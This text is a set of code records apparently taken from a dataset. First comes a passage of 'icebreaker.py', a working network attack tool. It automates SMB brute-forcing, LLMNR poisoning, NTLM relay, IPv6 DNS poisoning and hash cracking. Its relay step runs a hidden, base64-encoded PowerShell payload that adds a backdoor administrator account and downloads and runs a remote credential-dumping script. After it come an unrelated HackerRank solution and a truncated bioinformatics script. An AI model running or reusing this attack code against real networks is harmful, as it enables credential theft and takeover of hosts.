'domain_sid'}\n chunk_null_sess_hosts = get_null_sess_hosts(rpc_output)\n\n # Create master list of null session hosts\n null_sess_hosts.update(chunk_null_sess_hosts)\n if len(null_sess_hosts) == 0:\n print('[-] No null SMB sessions available')\n return\n else:\n null_hosts = []\n for ip in null_sess_hosts:\n print('[+] Null session found: {}'.format(ip))\n null_hosts.append(ip)\n\n domains = get_AD_domains(null_sess_hosts)\n\n # Gather usernames using ridenum.py\n print('[*] Checking for usernames. This may take a bit...')\n ridenum_cmd = 'python2 submodules/ridenum/ridenum.py {} 500 50000 | tee -a logs/ridenum.log'\n ridenum_cmds = create_cmds(null_hosts, ridenum_cmd)\n print('[*] Example command that will run: '+ridenum_cmds[0].split('&& ')[1])\n ridenum_output = async_get_outputs(loop, ridenum_cmds)\n if len(ridenum_output) == 0:\n print('[-] No usernames found')\n return\n\n # {ip:[username, username2], ip2:[username, username2]}\n ip_users, prev_users = get_usernames(ridenum_output, prev_users)\n\n # Creates a list of unique commands which only tests\n # each username/password combo 2 times and not more\n brute_cmds = create_brute_cmds(ip_users, passwords)\n print('[*] Checking the passwords {} and {} against the users'.format(passwords[0], passwords[1]))\n brute_output = async_get_outputs(loop, brute_cmds)\n\n # Will always return at least an empty dict()\n prev_creds = parse_brute_output(brute_output, prev_creds)\n\n return prev_creds, prev_users, domains\n\ndef log_pwds(host_user_pwds):\n '''\n Turns SMB password data {ip:[usrr_pw, user2_pw]} into a string\n '''\n for host_user_pwd in host_user_pwds:\n line = host_user_pwd+'\\n'\n write_to_file('found-passwords.txt', line, 'a+')\n\ndef edit_responder_conf(switch, protocols):\n '''\n Edit responder.conf\n '''\n if switch == 'On':\n opp_switch = 'Off'\n else:\n opp_switch = 'On'\n conf = 'submodules/Responder/Responder.conf'\n with open(conf, 'r') as f:\n filedata = f.read()\n for p in protocols:\n # Make sure the change we're making is necessary\n if re.search(p+' = '+opp_switch, filedata):\n filedata = filedata.replace(p+' = '+opp_switch, p+' = '+switch)\n with open(conf, 'w') as f:\n f.write(filedata)\n\ndef get_iface():\n '''\n Gets the right interface for Responder\n '''\n ifaces = []\n for iface in netifaces.interfaces():\n # list of ipv4 addrinfo dicts\n ipv4s = netifaces.ifaddresses(iface).get(netifaces.AF_INET, [])\n for entry in ipv4s:\n addr = entry.get('addr')\n if not addr:\n continue\n if not (iface.startswith('lo') or addr.startswith('127.')):\n ifaces.append(iface)\n\n # Probably will only find 1 interface, but in case of more just use the first one\n return ifaces[0]\n\ndef get_ip():\n iface = get_iface()\n ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr']\n return ip\n\ndef run_proc(cmd):\n '''\n Runs single commands\n ntlmrelayx needs the -c \"powershell ... ...\" cmd to be one arg tho\n '''\n # Set up ntlmrelayx commands\n # only ntlmrelayx has a \" in it\n dquote_split = cmd.split('\"')\n\n if len(dquote_split) > 1:\n cmd_split = dquote_split[0].split()\n ntlmrelayx_remote_cmd = dquote_split[1]\n cmd_split.append(ntlmrelayx_remote_cmd)\n else:\n cmd_split = cmd.split()\n\n # mitm6 cmd is 'mitm6' with no options\n if 'mitm6' in cmd_split:\n filename = cmd_split[0] + '.log'\n else:\n for x in cmd_split:\n if 'submodules/' in x:\n filename = x.split('/')[-1] + '.log'\n break\n\n print('[*] Running: {}'.format(cmd))\n f = open('logs/'+filename, 'a+')\n proc = Popen(cmd_split, stdout=f, stderr=STDOUT)\n\n return proc\n\ndef create_john_cmd(hash_format, hash_file):\n '''\n Create JohnTheRipper command\n '''\n #./john --format= --wordlist= --rules \n cmd = []\n path = 'submodules/JohnTheRipper/run/john'\n cmd.append(path)\n form = '--format={}'.format(hash_format)\n cmd.append(form)\n wordlist = '--wordlist=submodules/10_million_password_list_top_1000000.txt'\n cmd.append(wordlist)\n cmd.append('--rules')\n cmd.append(hash_file)\n john_cmd = ' '.join(cmd)\n return john_cmd\n\ndef crack_hashes(hashes):\n '''\n Crack hashes with john\n The hashes in the func args include usernames, domains, and such\n hashes = {'NTLMv1':[hash1,hash2], 'NTLMv2':[hash1,hash2]}\n '''\n procs = []\n identifier = ''.join(random.choice(string.ascii_letters) for x in range(7))\n\n hash_folder = os.getcwd()+'/hashes'\n if not os.path.isdir(hash_folder):\n os.mkdir(hash_folder)\n\n if len(hashes) > 0:\n for hash_type in hashes:\n filepath = hash_folder+'/{}-hashes-{}.txt'.format(hash_type, identifier)\n for h in hashes[hash_type]:\n write_to_file(filepath, h, 'a+')\n if 'v1' in hash_type:\n hash_format = 'netntlm'\n elif 'v2' in hash_type:\n hash_format = 'netntlmv2'\n john_cmd = create_john_cmd(hash_format, filepath)\n try:\n john_proc = run_proc(john_cmd)\n except FileNotFoundError:\n print('[-] Error running john for password cracking, \\\n try: cd submodules/JohnTheRipper/src && ./configure && make')\n procs.append(john_proc)\n\n return procs\n\ndef parse_john_show(out, prev_creds):\n '''\n Parses \"john --show output\"\n '''\n for line in out.splitlines():\n line = line.decode('utf8')\n line = line.split(':')\n if len(line) > 3:\n user = line[0]\n pw = line[1]\n host = line[2]\n host_user_pwd = host+'\\\\'+user+':'+pw\n if host_user_pwd not in prev_creds:\n prev_creds.append(host_user_pwd)\n duplicate = check_found_passwords(host_user_pwd)\n if duplicate == False:\n print('[!] Password found! '+host_user_pwd)\n log_pwds([host_user_pwd])\n\n return prev_creds\n\ndef get_cracked_pwds(prev_creds):\n '''\n Check for new cracked passwords\n '''\n hash_folder = os.getcwd()+'/hashes'\n if os.path.isdir(hash_folder):\n dir_contents = os.listdir(os.getcwd()+'/hashes')\n\n for x in dir_contents:\n if re.search('NTLMv(1|2)-hashes-.*\\.txt', x):\n out = check_output('submodules/JohnTheRipper/run/john --show hashes/{}'.format(x).split())\n prev_creds = parse_john_show(out, prev_creds)\n\n return prev_creds\n\ndef check_found_passwords(host_user_pwd):\n '''\n Checks found-passwords.txt to prevent duplication\n '''\n fname = 'found-passwords.txt'\n if os.path.isfile(fname):\n with open(fname, 'r') as f:\n data = f.read()\n if host_user_pwd in data:\n return True\n\n return False\n\ndef start_responder_llmnr():\n '''\n Start Responder alone for LLMNR attack\n '''\n edit_responder_conf('On', ['HTTP', 'SMB'])\n iface = get_iface()\n resp_cmd = 'python2 submodules/Responder/Responder.py -wrd -I {}'.format(iface)\n resp_proc = run_proc(resp_cmd)\n print('[*] Responder-Session.log:')\n return resp_proc\n\ndef run_relay_attack():\n '''\n Start ntlmrelayx for ntlm relaying\n '''\n iface = get_iface()\n edit_responder_conf('Off', ['HTTP', 'SMB'])\n resp_cmd = 'python2 submodules/Responder/Responder.py -wrd -I {}'.format(iface)\n resp_proc = run_proc(resp_cmd)\n\n# net user /add icebreaker P@ssword123456; net localgroup administrators icebreaker /add; IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/DanMcInerney/Obf-Cats/master/Obf-Cats.ps1'); Obf-Cats -pwds\n relay_cmd = ('python2 submodules/impacket/examples/ntlmrelayx.py -6 -wh Proxy-Service'\n ' -of hashes/ntlmrelay-hashes -tf smb-signing-disabled-hosts.txt -wa 3'\n ' -c \"powershell -nop -exec bypass -w hidden -enc '\n 'bgBlAHQAIAB1AHMAZQByACAALwBhAGQAZAAgAGkAYwBlAGIAcgBlAGEAawBlAHIAIABQAEAAcwBzAHcAbwByAGQAMQAyADMANAA1ADYAOwAgAG4AZQB0ACAAbABvAGMAYQBsAGcAcgBvAHUAcAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAcwAgAGkAYwBlAGIAcgBlAGEAawBlAHIAIAAvAGEAZABkADsAIABJAEUAWAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHIAYQB3AC4AZwBpAHQAaAB1AGIAdQBzAGUAcgBjAG8AbgB0AGUAbgB0AC4AYwBvAG0ALwBEAGEAbgBNAGMASQBuAGUAcgBuAGUAeQAvAE8AYgBmAC0AQwBhAHQAcwAvAG0AYQBzAHQAZQByAC8ATwBiAGYALQBDAGEAdABzAC4AcABzADEAJwApADsAIABPAGIAZgAtAEMAYQB0AHMAIAAtAHAAdwBkAHMADQAKAA==')\n ntlmrelay_proc = run_proc(relay_cmd)\n\n return resp_proc, ntlmrelay_proc\n\ndef follow_file(thefile):\n '''\n Works like tail -f\n Follows a constantly updating file\n '''\n thefile.seek(0,2)\n while True:\n line = thefile.readline()\n if not line:\n time.sleep(0.1)\n continue\n yield line\n\ndef check_ntlmrelay_error(line, file_lines):\n '''\n Checks for ntlmrelay errors\n '''\n if 'Traceback (most recent call last):' in line:\n print('[-] Error running ntlmrelayx:\\n')\n for l in file_lines:\n print(l.strip())\n print('\\n[-] Hit CTRL-C to quit')\n return True\n else:\n return False\n\ndef format_mimi_data(dom, user, auth, hash_or_pw, prev_creds):\n '''\n Formats the collected mimikatz data and logs it\n '''\n dom_user_pwd = dom+'\\\\'+user+':'+auth\n\n if dom_user_pwd not in prev_creds:\n prev_creds.append(dom_user_pwd)\n duplicate = check_found_passwords(dom_user_pwd)\n if duplicate == False:\n print('[!] {} found! {}'.format(hash_or_pw, dom_user_pwd))\n log_pwds([dom_user_pwd])\n\n return prev_creds\n\ndef parse_mimikatz(prev_creds, mimi_data, line):\n '''\n Parses mimikatz output for usernames and passwords\n '''\n splitl = line.split(':')\n user = None\n dom = None\n ntlm = None\n\n if \"* Username\" in line:\n if mimi_data['user']:\n user = mimi_data['user']\n if user != '(null)' and mimi_data['dom']:\n dom = mimi_data['dom']\n # Prevent (null) and hex passwords from being stored\n if mimi_data['pw']:\n prev_creds = format_mimi_data(dom, user, mimi_data['pw'], 'Password', prev_creds)\n elif mimi_data['ntlm']:\n prev_creds = format_mimi_data(dom, user, mimi_data['ntlm'], 'Hash', prev_creds)\n\n user = splitl[-1].strip()\n if user != '(null)':\n mimi_data['user'] = user\n mimi_data['dom'] = None\n mimi_data['ntlm'] = None\n mimi_data['pw'] = None\n elif \"* Domain\" in line:\n mimi_data['dom'] = splitl[-1].strip()\n elif \"* NTLM\" in line:\n ntlm = splitl[-1].strip()\n if ntlm != '(null)':\n mimi_data['ntlm'] = splitl[-1].strip()\n elif \"* Password\" in line:\n pw = splitl[-1].strip()\n if pw != '(null)' and pw.count(' ') < 15:\n mimi_data['pw'] = splitl[-1].strip()\n\n return prev_creds, mimi_data\n\ndef parse_responder_log(args, prev_lines, prev_creds):\n '''\n Gets and cracks responder hashes\n Avoids getting and cracking previous hashes\n '''\n new_lines = []\n\n # Print responder-session.log output so we know it's running\n path = 'submodules/Responder/logs/Responder-Session.log'\n if os.path.isfile(path):\n with open(path, 'r') as f:\n contents = f.readlines()\n\n for line in contents:\n if line not in prev_lines:\n new_lines.append(line)\n line = line.strip()\n print(' [Responder] '+line)\n prev_creds, new_hash = get_responder_hashes(line, prev_creds)\n\n if new_hash:\n if 'crack' not in args.skip.lower():\n john_proc = crack_hashes(new_hash)\n\n prev_creds = get_cracked_pwds(prev_creds)\n\n return prev_creds, new_lines\n\ndef get_responder_hashes(line, prev_creds):\n '''\n Parse responder to get usernames and IPs for 2 pw bruteforcing\n '''\n hash_id = ' Hash : '\n new_hash = None\n\n # We add the username in form of 'LAB\\user' to prev_creds to prevent duplication\n if hash_id in line:\n ntlm_hash = line.split(hash_id)[-1].strip()+'\\n'\n hash_split = ntlm_hash.split(':')\n user = hash_split[2]+'\\\\'+hash_split[0]\n\n if user not in prev_creds:\n prev_creds.append(user)\n print('[+] Hash found for {}!'.format(user))\n if ntlm_hash.count(':') == 5:\n new_hash = {'NTLMv2':[ntlm_hash]}\n elif ntlm_hash.count(':') == 4:\n new_hash = {'NTLMv1':[ntlm_hash]}\n\n return prev_creds, new_hash\n\ndef cleanup_responder(resp_proc, prev_creds):\n '''\n Kill responder and move the log file\n '''\n resp_proc.kill()\n path = 'submodules/Responder/logs/Responder-Session.log'\n timestamp = str(time.time())\n os.rename(path, path+'-'+timestamp)\n prev_creds = get_cracked_pwds(prev_creds)\n\n return prev_creds\n\ndef cleanup_mitm6(mitm6_proc):\n '''\n SIGINT mitm6\n '''\n pid = mitm6_proc.pid\n os.kill(pid, signal.SIGINT)\n if not mitm6_proc.poll():\n print('[*] Waiting on mitm6 to cleanly shut down...')\n\n arp_file = 'arp.cache'\n if os.path.isfile(arp_file):\n os.remove(arp_file)\n\ndef get_user_from_ntlm_hash(ntlm_hash):\n '''\n Gets the username in form of LAB\\\\uame from ntlm hash\n '''\n hash_split = ntlm_hash.split(':')\n user = hash_split[2]+'\\\\'+hash_split[0]\n\n return user\n\ndef parse_ntlmrelay_line(line, successful_auth, prev_creds, args):\n '''\n Parses ntlmrelayx.py's output\n '''\n hashes = {}\n\n # check for errors\n if line.startswith(' ') or line.startswith('Traceback') or line.startswith('ERROR'):\n # First few lines of mimikatz logo start with ' ' and have #### in them\n if '####' not in line and 'mimikatz_initOrClean ; CoInitializeEx' not in line:\n print(' '+line.strip())\n\n # ntlmrelayx output\n if re.search('\\[.\\]', line):\n print(' '+line.strip())\n\n # Only try to crack successful auth hashes\n if successful_auth == True:\n successful_auth = False\n netntlm_hash = line.split()[-1]+'\\n'\n user = get_user_from_ntlm_hash(netntlm_hash)\n\n if user not in prev_creds:\n prev_creds.append(user)\n\n if netntlm_hash.count(':') == 5:\n hash_type = 'NTLMv2'\n hashes[hash_type] = [netntlm_hash]\n\n if netntlm_hash.count(':') == 4:\n hash_type = 'NTLMv1'\n hashes[hash_type] = [netntlm_hash]\n\n if len(hashes) > 0:\n if 'crack' not in args.skip.lower():\n john_procs = crack_hashes(hashes)\n\n if successful_auth == False:\n if ' SUCCEED' in line:\n successful_auth = True\n\n if 'Executed specified command on host' in line:\n ip = line.split()[-1]\n host_user_pwd = ip+'\\\\icebreaker:P@ssword123456'\n prev_creds.append(host_user_pwd)\n duplicate = check_found_passwords(host_user_pwd)\n if duplicate == False:\n print('[!] User created! '+host_user_pwd)\n log_pwds([host_user_pwd])\n\n return prev_creds, successful_auth\n\ndef run_ipv6_dns_poison():\n '''\n Runs mitm6 to poison DNS via IPv6\n '''\n cmd = 'mitm6'\n mitm6_proc = run_proc(cmd)\n\n return mitm6_proc\n\ndef do_ntlmrelay(prev_creds, args):\n '''\n Continuously monitor and parse ntlmrelay output\n '''\n mitm6_proc = None\n\n print('\\n[*] Attack 4: NTLM relay with Responder and ntlmrelayx')\n resp_proc, ntlmrelay_proc = run_relay_attack()\n\n if 'dns' not in args.skip:\n print('\\n[*] Attack 5: IPv6 DNS Poison')\n mitm6_proc = run_ipv6_dns_poison()\n\n ########## CTRL-C HANDLER ##############################\n def signal_handler(signal, frame):\n '''\n Catch CTRL-C and kill procs\n '''\n print('\\n[-] CTRL-C caught, cleaning up and closing')\n\n # Kill procs\n cleanup_responder(resp_proc, prev_creds)\n ntlmrelay_proc.kill()\n\n # Cleanup hash files\n cleanup_hash_files()\n\n # Clean up SCF file\n remote_scf_cleanup()\n\n # Kill mitm6\n if mitm6_proc:\n cleanup_mitm6(mitm6_proc)\n\n sys.exit()\n\n signal.signal(signal.SIGINT, signal_handler)\n ########## CTRL-C HANDLER ##############################\n\n mimi_data = {'dom':None, 'user':None, 'ntlm':None, 'pw':None}\n print('\\n[*] ntlmrelayx.py output:')\n ntlmrelay_file = open('logs/ntlmrelayx.py.log', 'r')\n file_lines = follow_file(ntlmrelay_file)\n\n successful_auth = False\n for line in file_lines:\n # Parse ntlmrelay output\n prev_creds, successful_auth = parse_ntlmrelay_line(line, successful_auth, prev_creds, args)\n # Parse mimikatz output\n prev_creds, mimi_data = parse_mimikatz(prev_creds, mimi_data, line)\n\ndef check_for_nse_scripts(hosts):\n '''\n Checks if both NSE scripts were run\n '''\n sec_run = False\n enum_run = False\n\n for host in hosts:\n ip = host.address\n\n # Get SMB signing data\n for script_out in host.scripts_results:\n if script_out['id'] == 'smb-security-mode':\n sec_run = True\n\n if script_out['id'] == 'smb-enum-shares':\n enum_run = True\n\n if sec_run == False or enum_run == False:\n return False\n else:\n return True\n\ndef remote_scf_cleanup():\n '''\n Deletes the scf file from the remote shares\n '''\n path = 'logs/shares-with-SCF.txt'\n if os.path.isfile(path):\n with open(path) as f:\n lines = f.readlines()\n for l in lines:\n # Returns '['', '', '10.1.1.0', 'path/to/share\\n']\n split_line = l.split('\\\\', 3)\n ip = split_line[2]\n share_folder = split_line[3].strip()\n action = 'rm'\n scf_filepath = '@local.scf'\n stdout, stderr = run_smbclient(ip, share_folder, action, scf_filepath)\n\ndef cleanup_hash_files():\n '''\n Puts all the hash files of each type into one file\n '''\n resp_hash_folder = os.getcwd()+'/submodules/Responder/logs'\n hash_folder = os.getcwd()+'/hashes'\n\n\n for fname in os.listdir(resp_hash_folder):\n if re.search('v(1|2).*\\.txt', fname):\n\n if not os.path.isdir(hash_folder):\n os.mkdir(hash_folder)\n\n os.rename(resp_hash_folder+'/'+fname, hash_folder+'/'+fname)\n\ndef main(report, args):\n '''\n Performs:\n SCF file upload for hash collection\n SMB reverse bruteforce\n Responder LLMNR poisoning\n SMB relay\n Hash cracking\n '''\n prev_creds = []\n prev_users = []\n loop = asyncio.get_event_loop()\n\n passwords = create_passwords(args)\n\n # Returns a list of Nmap object hosts\n # So you must use host.address, for example, to get the ip\n hosts = get_hosts(args, report)\n\n if len(hosts) > 0:\n nse_scripts_run = check_for_nse_scripts(hosts)\n\n # If Nmap XML shows that one or both NSE scripts weren't run, do it now\n if nse_scripts_run == False:\n hosts = run_nse_scripts(args, hosts)\n\n for h in hosts:\n print('[+] SMB open: {}'.format(h.address))\n\n # ATTACK 1: RID Cycling into reverse bruteforce\n if 'rid' not in args.skip.lower():\n prev_creds, prev_users, domains = smb_reverse_brute(loop, hosts, args, passwords, prev_creds, prev_users)\n\n # ATTACK 2: SCF file upload to writeable shares\n parse_nse(hosts, args)\n\n else:\n print('[-] No hosts with port 445 open. \\\n Skipping all attacks except LLMNR/NBNS/mDNS poison attack with Responder.py')\n\n # ATTACK 3: LLMNR poisoning\n if 'llmnr' not in args.skip.lower():\n print('\\n[*] Attack 3: LLMNR/NBTS/mDNS poisoning for NTLM hashes')\n prev_lines = []\n resp_proc = start_responder_llmnr()\n time.sleep(2)\n\n # Check for hashes for set amount of time\n timeout = time.time() + 60 * int(args.time)\n try:\n while time.time() < timeout:\n prev_creds, new_lines = parse_responder_log(args, prev_lines, prev_creds)\n\n for line in new_lines:\n prev_lines.append(line)\n\n time.sleep(0.1)\n\n prev_creds = cleanup_responder(resp_proc, prev_creds)\n\n except KeyboardInterrupt:\n print('\\n[-] Killing Responder.py and moving on')\n prev_creds = cleanup_responder(resp_proc, prev_creds)\n # Give responder some time to die with dignity\n time.sleep(2)\n\n # ATTACK 4: NTLM relay\n # ATTACK 5: IPv6 DNS WPAD spoof\n if 'relay' not in args.skip.lower() and len(hosts) > 0:\n do_ntlmrelay(prev_creds, args)\n\nif __name__ == \"__main__\":\n args = parse_args()\n if os.geteuid():\n exit('[-] Run as root')\n report = parse_nmap(args)\n main(report, args)\n\n# Left off\n# Change responder hash-finding to read Responder-Session.log and not the hash file\n# Multiple hashes get stored in the hashfile so just continually checking for new hash files\n# wont work at all on new hashes written to the same file\n","repo_name":"fortify24x7/icebreaker","sub_path":"icebreaker.py","file_name":"icebreaker.py","file_ext":"py","file_size_in_byte":37377,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"9529429033","text":"import math\nimport os\nimport random\nimport re\nimport sys\nfrom collections import Counter\n\n#\n# Complete the 'happyLadybugs' function below.\n#\n# The function is expected to return a STRING.\n# The function accepts STRING b as parameter.\n#\n\ndef happyLadybugs(b):\n values = set(b)\n\n for i in values:\n if i != \"_\" and b.count(i)<2:\n return \"NO\"\n \n if \"_\" in values:\n return \"YES\"\n else:\n for i in range(1, len(b)-1):\n if b[i] != b[i-1] and b[i] != b[i+1]:\n return \"NO\"\n return \"YES\"\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n g = int(input().strip())\n\n for g_itr in range(g):\n n = int(input().strip())\n\n b = input()\n\n result = happyLadybugs(b)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"falvey20/HackerRank-Python","sub_path":"Easy/Happy Ladybugs/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21380014215","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\"\"\"\nRun PiMaker and organize output.\n\nThis module contains the central calcPi function, which calls functions to load\ninput into memory, run data processing functions in multiple processes, and then\ncompiling results into summary dataframes.\n\n\"\"\"\n\nimport os\nimport sys\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\nimport multiprocessing as mp\nimport fileio\nimport filters\nimport chunk\nfrom timeit import default_timer as timer\n\n\ndef make_pi(vcf_file, ref_fasta, gtf_file=None,\n output_file_prefix='pimaker/results', maf=0.01,\n mutation_rates=None, include_stop_codons=False,\n rolling_window=None, pi_only=False, chunk_size=int(1e6),\n cache_folder=None, num_processes=1, return_results=False,\n return_csv=False):\n \"\"\"\n Calculates pi, piN, and piS. Implements PiMaker algorithm.\n\n Args:\n vcf_file:\n Path to the vcf file of variants. VCF file should contain all\n samples/pools sequenced.\n ref_fasta:\n Fasta file containing the reference sequence of all contigs. The\n names of each contig should be identical to the contig names in the\n vcf file.\n gtf_file:\n Optional, default None. Path to the gtf file or gff3 file that\n contains the coordinates of all coding regions. Necessary to\n calculate piN and piS values.\n output_file_prefix:\n Optional, default 'pimaker/results'. Specifies the folder to which\n results will be saved, and any prefix to be applied to result files\n from this run. For example, the default value will save sample\n summary statistics to the current working directory +\n '/pimaker/results_sample.csv'.\n maf:\n Optional, default 0.01. Minimum allele frequency of variants to\n be considered. For each sample/pool, if a variant's within-sample\n frequency is less than this value, that variant will be zeroed out\n in that sample/pool.\n mutation_rates:\n Optional, default None. Either a 4x4 array-like object containing\n relative mutation rates from ACGT (rows) to ACGT (columns), or a\n path to a file containing that object. Allows users to incorporate\n empirically determined mutation rates (or relative\n transversion/transition rates) when determining the number of\n synonymous or nonsynonymous sites per sample. (Implements\n `Ina (1995)`_ method of site count adjustment.)\n include_stop_codons:\n If True, will count mutations to or from stop\n codons as nonsynonymous. Most methods of calculating synon/nonsynon\n sites assume nonsense mutations are always evolutionary dead ends,\n and thus should be ignored. In some situations, that may not be the\n case. Optional, default False.\n rolling_window:\n Optional, default None. Currently unimplemented.\n pi_only:\n Optional, defualt False. Currently unimplemented.\n chunk_size:\n Optional, default 1e6. Number of nucleotides of each contig's\n reference sequence to be processed per chunk. If 0, each contig\n will be placed into the chunk queue as one chunk.\n cache_folder: \n Optional, default None. Folder for PiMaker to save cached,\n processed variant data.\n num_processes:\n Optional, default 1. Number of processes running\n :func:`process_chunk`.\n return_results:\n If True, returns three pandas dataframe containing summary results\n for each sample, for each contig, and for each gene.\n return_csv:\n If True, returns the paths of the .csv files where the summary\n results for each sample, for each contig, and for each gene were\n saved.\n Returns:\n By default, returns None.\n\n If return_results is True, returns three pandas dataframe containing\n summary results for each sample, for each contig, and for each gene.\n\n If return_csv, returns the paths of the .csv files where the summary\n results for each sample, for each contig, and for each gene were saved.\n \"\"\"\n print (\"Welcome to PiMaker!\")\n output_file_prefix, cache_folder = fileio.setup_environment(output_file_prefix,\n cache_folder=cache_folder)\n\n if mutation_rates:\n mutation_rates = fileio.read_mutation_rates(mutation_rates)\n\n num_sites_dict = filters.make_num_sites_dict(mutation_rates, include_stop_codons)\n synon_cts = filters.make_synon_nonsynon_site_dict(num_sites_dict, include_stop_codons)\n\n print (f'Loading reference sequence from {ref_fasta}...')\n ref_array, contig_starts, contig_coords = fileio.load_references(ref_fasta)\n\n sample_list = fileio.get_sample_list(vcf_file)\n num_var = fileio.get_num_var(vcf_file)\n\n print (f'Loading annotation information from {gtf_file}...')\n gene_coords, transcript_to_gene_id, id_to_symbol = fileio.parse_gtf(gtf_file, contig_starts)\n\n # Now that data is loaded, set up multiprocessing queues\n chunk_queue = mp.Queue(num_processes * 2)\n results_queue = mp.Queue(num_processes * 2)\n tqdm_lock = tqdm.get_lock()\n\n # Create process to load queue with chunks of data\n iterator_args = vcf_file, ref_array, contig_coords, gene_coords, chunk_queue, tqdm_lock\n iterator_kwargs = {'num_var': num_var, 'num_processes': num_processes, 'chunk_size': chunk_size, 'maf': maf}\n iterator_process = mp.Process(target=chunk.iterate_records, args=iterator_args, kwargs=iterator_kwargs)\n iterator_process.start()\n\n # Create processes to process chunks of data\n chunk_args = (chunk_queue, results_queue, sample_list, id_to_symbol, transcript_to_gene_id, synon_cts, tqdm_lock)\n executors = [mp.Process(target=chunk.process_chunk, args=chunk_args + (i,)) for i in range(num_processes)]\n for executor in executors:\n executor.start()\n\n # Set up lists to collect the locations of result files\n result_files_sample_pi = list()\n result_files_genes_pi = list()\n result_files_sites_pi = {contig: list() for contig in contig_starts.keys()}\n\n # Wait for results to come in, save to HDD to save memory and store result file locations\n none_tracker = 0\n while True:\n result = results_queue.get()\n if result is None:\n none_tracker += 1\n if none_tracker == num_processes:\n break\n else:\n sample_filename, gene_filename, site_filename = fileio.save_tmp_chunk_results(*result, cache_folder)\n result_files_sample_pi.append(sample_filename)\n result_files_genes_pi.append(gene_filename)\n result_files_sites_pi[result[0]].append(site_filename)\n\n # Join and close processes before moving on\n iterator_process.join()\n iterator_process.close()\n for executor in executors:\n executor.join()\n executor.close()\n\n # If the user wants the raw output files, return those locations.\n if return_csv:\n return result_files_sample_pi, result_files_genes_pi, result_files_sites_pi\n\n # Else, compile formatted, collated reports\n print ('Making gene reports...')\n pi_per_gene_df = pd.DataFrame()\n for gene_filename in result_files_genes_pi:\n pi_per_gene_df = pi_per_gene_df.append(pd.read_csv(gene_filename))\n\n def _weighted_avg_nonsynon(x):\n return np.average(x.piN_no_overlap, weights=x.N_sites_no_overlap)\n\n def _weighted_avg_synon(x):\n return np.average(x.piS_no_overlap, weights=x.S_sites_no_overlap)\n\n # these are very large files. calc the things we need for the sample and contig dataframes\n # save and close right away.\n # At the moment these statistics are calculated from the first transcript in a gene.\n first_transcripts = pi_per_gene_df.groupby(['gene_id', 'sample_id']).first()\n transcripts_per_sample = first_transcripts.groupby(['sample_id'])\n transcripts_per_contig = first_transcripts.groupby(['contig', 'sample_id'])\n\n per_sample_piN = transcripts_per_sample.apply(_weighted_avg_nonsynon).values\n per_sample_piS = transcripts_per_sample.apply(_weighted_avg_synon).values\n\n per_sample_N_sites = transcripts_per_sample.apply(lambda x: np.sum(x.N_sites_no_overlap)).values\n per_sample_S_sites = transcripts_per_sample.apply(lambda x: np.sum(x.S_sites_no_overlap)).values\n\n per_contig_piN = transcripts_per_contig.apply(_weighted_avg_nonsynon).reset_index()\n per_contig_piS = transcripts_per_contig.apply(_weighted_avg_synon).reset_index()\n\n per_contig_N_sites = transcripts_per_contig.apply(lambda x: np.sum(x.N_sites_no_overlap)).reset_index()\n per_contig_S_sites = transcripts_per_contig.apply(lambda x: np.sum(x.S_sites_no_overlap)).reset_index()\n\n # remove the tmp per-chunk files and save main results file\n for gene_filename in result_files_genes_pi:\n os.remove(gene_filename)\n\n pi_per_gene_df.to_csv(output_file_prefix + \"_genes.csv\")\n if not return_results:\n del pi_per_gene_df\n\n print ('Making sample report...')\n pi_per_sample_df = pd.DataFrame()\n for sample_filename in result_files_sample_pi:\n pi_per_sample_df = pi_per_sample_df.append(pd.read_csv(sample_filename))\n\n # Stitch together chunks using groupby.\n # note that both per_site stats and per_gene stats are not going to be\n # affected by chunking, since chunks are always divided in intergenic\n # regions\n per_sample_and_stat = pi_per_sample_df.groupby(['sample_id', 'stat_name'])\n pi_per_sample_df = per_sample_and_stat.apply(lambda x: np.average(x.stat, weights=x.chunk_len))\n pi_per_sample_df['piN'] = per_sample_piN\n pi_per_sample_df['piS'] = per_sample_piS\n pi_per_sample_df['N_sites'] = per_sample_N_sites\n pi_per_sample_df['S_sites'] = per_sample_S_sites\n\n for sample_filename in result_files_sample_pi:\n os.remove(sample_filename)\n\n pi_per_sample_df.to_csv(output_file_prefix + \"_samples.csv\")\n if not return_results:\n del pi_per_sample_df\n\n print ('Making contig report...')\n contig_dfs = pd.DataFrame()\n contig_pis = {contig: None for contig in result_files_sites_pi.keys()}\n contig_lengths = {contig: (contig_coords[contig][1] - contig_coords[contig][0])\n for contig in contig_coords.keys()}\n\n for contig, site_chunk_filenames in result_files_sites_pi.items():\n site_pi_df = pd.read_csv(site_chunk_filenames[0])\n for filename in site_chunk_filenames[1:]:\n df = pd.read_csv(filename)\n site_pi_df = site_pi_df.merge(df, on=['sample_id', 'contig', 'stat_name'])\n\n site_pi_df.to_csv(output_file_prefix + f'_{contig}_sites.csv.gz', compression='gzip')\n contig_pis[contig] = site_pi_df.iloc[:, 3:].sum(1) / contig_lengths[contig]\n\n # delete contig's per-site data and clear per-site tmp files right away,\n # since this is a huge file\n del site_pi_df\n for filename in site_chunk_filenames:\n os.remove(filename)\n\n # Now, process per-contig data\n sample_contig_stats = [{'sample_id': sample_id, 'contig': contig, 'contig_length': contig_lengths[contig], 'pi': pi}\n for sample_id, pi in zip(sample_list, contig_pis[contig])]\n pi_per_contig_df = pd.DataFrame(sample_contig_stats)\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_piN, on=['contig', 'sample_id'], how='left').rename(columns={0: 'piN'})\n pi_per_contig_df = pi_per_contig_df.merge(per_contig_piS, on=['contig', 'sample_id'], how='left').rename(columns={0: 'piS'})\n pi_per_contig_df = 